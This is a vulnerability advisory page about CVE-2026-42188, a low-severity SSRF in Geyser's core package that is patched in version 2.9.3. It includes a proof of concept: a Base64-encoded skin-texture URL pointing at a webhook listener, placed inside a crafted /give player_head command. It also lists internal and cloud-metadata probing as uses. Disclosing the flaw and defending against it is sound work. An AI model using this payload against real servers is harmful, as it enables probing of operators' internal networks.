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☕ Maven
Not in CISA KEV
LOW severity

CVE-2026-42188 — core

LOW

CVE-2026-42188 is a low-severity (CVSS 2.4) Server-Side Request Forgery (SSRF) vulnerability in org.geysermc.geyser:core. A fix is available for org.geysermc.geyser:core — see the affected versions and patch details below.

Geyser Vulnerable to Server-Side Request Forgery (SSRF) via Player Head Texture URL in Geyser

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42188.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs9th percentile — riskier than 9% of all scored CVEsHighest risk
0.00%0.26%0.52%0.78%0.0%0.2%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
☕org.geysermc.geyser:core

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.

Details

Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.

When a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution. However, the URL contained in the textures.SKIN.url field is not sufficiently validated.

PoC

  1. Setup Environment:

    • Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed.
    • Ensure you have a Bedrock client connected.

  2. Prepare Listener:

    • Go to webhook.site and obtain a unique URL (e.g., https://webhook.site/YOUR-UUID).

  3. Construct Payload:

    • Create a JSON payload pointing to your listener URL: {"textures":{"SKIN":{"url":"https://webhook.site/YOUR-UUID"}}}
    • Encode this JSON string to Base64. (You can use a terminal command: echo -n '{"textures":{"SKIN":{"url":"..."}}}' | base64)

  4. Execute Command:

    • Run the following command in the Bedrock Edition client: /give @p minecraft:player_head[minecraft:profile={properties:[{name:"textures",value:"[PASTE_BASE64_HERE]"}]}]

  5. Verify:

    • Check the webhook.site dashboard.
    • You will see an HTTP GET request originating from the Minecraft Server's IP address, not the client's IP.

Impact

This vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.

Affected Parties

  • Minecraft servers running Geyser
  • Server operators exposing internal or cloud metadata endpoints

Potential Impacts

  • Internal network probing (e.g., intranet services, admin panels)
  • Cloud metadata access attempts (e.g., 169.254.169.254)
  • IP address disclosure of the Minecraft server
  • Abuse of the server as an HTTP request proxy

Although the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for:

  • Network mapping
  • Firewall bypass attempts
  • Cloud environment fingerprinting

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenorg.geysermc.geyser:coreall versions2.9.3org.geysermc.geyser:core:2.9.3

Affected Products

1 product · 1 configurations
Application
geysergeysermc
< 2.9.3
range

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.geysermc.geyser:core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update org.geysermc.geyser:core to 2.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42188 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

### Summary A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client. ### Details Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structur
O3 Security · Impact-Aware SCA

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CVE-2026-42188: core SSRF — Fixed in 2.9.3